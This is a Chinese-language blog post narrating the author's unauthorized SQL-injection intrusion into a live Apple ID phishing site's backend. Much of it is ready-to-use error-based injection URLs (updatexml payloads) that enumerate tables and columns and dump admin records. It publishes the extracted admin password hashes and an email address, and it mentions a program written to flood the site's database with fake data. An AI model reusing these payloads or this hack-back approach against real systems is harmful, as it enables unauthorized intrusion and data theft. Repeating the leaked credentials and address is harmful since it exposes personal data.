SQL注入-攻入Apple ID釣魚網站實錄

以前寫的一篇利用SQL注入方式攻擊釣魚網站的文章，如今在博客園再分享一下。

 

下午，朋友發了一條朋友圈，內容大概這樣：

大致就是她的iPhone丟了，收到了釣魚短信，多麼熟悉的套路，以下：

還好她比較機智，發現是個釣魚網站，地址以下：

http://www.apple-icloudid.com.cn

當時看到這件過後，想到以前有巨巨順勢搞定釣魚網站，因此我也想小試牛刀一下，看看可否攻入釣魚網站後臺。

在試了幾輪PHP常見後臺地址後，好比/admin,/index.php/admin，均未奏效，索性開始對網站抓包，抓包過程當中有了意外收穫，獲得了另外一個實際的核心站點信息。

原來在apple-icloudid.com.cn下的一切請求實際都是由http://www.ht888.pw這個站點來處理的，包括管理後臺。

這個站點設計的極爲簡陋，因此三下五除二就順利找到了管理後臺地址：http://www.ht888.pw/admin/

然而居然同時發現了另一個管理後臺：http://www.ht888.pw/new/admin/

頁面上寫着「低調作人，高調作事」，這是個什麼鬼！！！

下面對這兩個站點抓包的過程當中，十分幸運的是，發現了一個SQL注入漏洞：

簡單的API調用竟然把執行的SQL語句返回了！！！這麼嚴重的漏洞，我不利用誰利用。

不過讓我驚訝的是，管理後臺的登陸框有對SQL注入作了處理，因此我只能從這個API調用來進行SQL注入。

對了，我是SQL注入小白，經過網上現找和朋友給的一點MySQL資料，使用Postman實現了簡單的攻擊。

第一波先獲取數據庫表信息

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '

獲得10張表名，分別是ap_admin， ap_members， ap_sites， ap_userlog， yu_admin， yu_guest， yu_members， yu_mibao， yu_sites， yu_userlog。

其中yu_mibao這張表裏存儲着受害人的iCloud帳號信息，ap_admin和yu_admin兩張表裏存了管理員帳號。

第二波獲取管理員表結構

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='yu_admin' limit 0,1)),0) or '

其中ap_admin和yu_admin表字段一致，分別爲userid， gid， username， password， email， logintime， loginip， logincount。兩張表裏各有一條管理員帳號記錄

ap_members和yu_members表字段一致，分別爲uid， email， password， regip， address， site。

其餘表尚未查看，方法相似。

第三波獲取表數據

http://www.ht888.pw/new/mbsave.php?sid=8vosio1728r8uvvmb6bidlktf6&step=2&username=2142342@qq.com&password=Olivia' or updatexml(0,concat(0x7e,(SELECT concat_ws(':', username, password, email, logintime, loginip, logincount) FROM yu_admin limit 0,1)),0) or '

這裏咱們從ap_admin表得到一個管理員帳號，帳戶名爲apple，密碼爲加密後內容0659c7992e268962384eb17，暫時未能破解。

從yu_admin表中得到另外一個管理員帳號，帳戶名爲apple,密碼一樣爲加密內容5a50131eb6f2d7b652ae459b4，一樣暫時未破解。

到了這裏基本就可只差密碼的破解的，後續的步驟是試着刪除掉該釣魚站點全部受害人信息。

寫在最後

公佈下目前找到的有關釣魚網站的信息

以及經過API漏洞得到的QQ郵箱一個：1485882247@qq.com

以上就是本次整個攻擊過程，固然由於我是菜鳥，因此不少要點處理的應該都不太好。釣魚網站這個套路家常便飯，對方每每打一槍換一個地方，禍害了不知多少普通用戶。手機丟了還好，可怕的是iCloud裏的隱私數據，每每會帶來不可思議的傷害。

最後，就醬。

 

#4月7日更新

---

 

目前寫了個小程序，不停往對方數據庫寫入假數據^_^

剛看到@林肖恩的新進展Apple ID釣魚網站後臺一覽 - 知乎專欄

很疑惑爲何我用Postman獲取到的密碼長度是23位，而林肖恩獲取到的確實完整的32位

釣魚網站後臺已被破掉，受害者信息已清空。贊！！！

已將相關網站舉報到12321網絡不良與垃圾信息舉報受理中心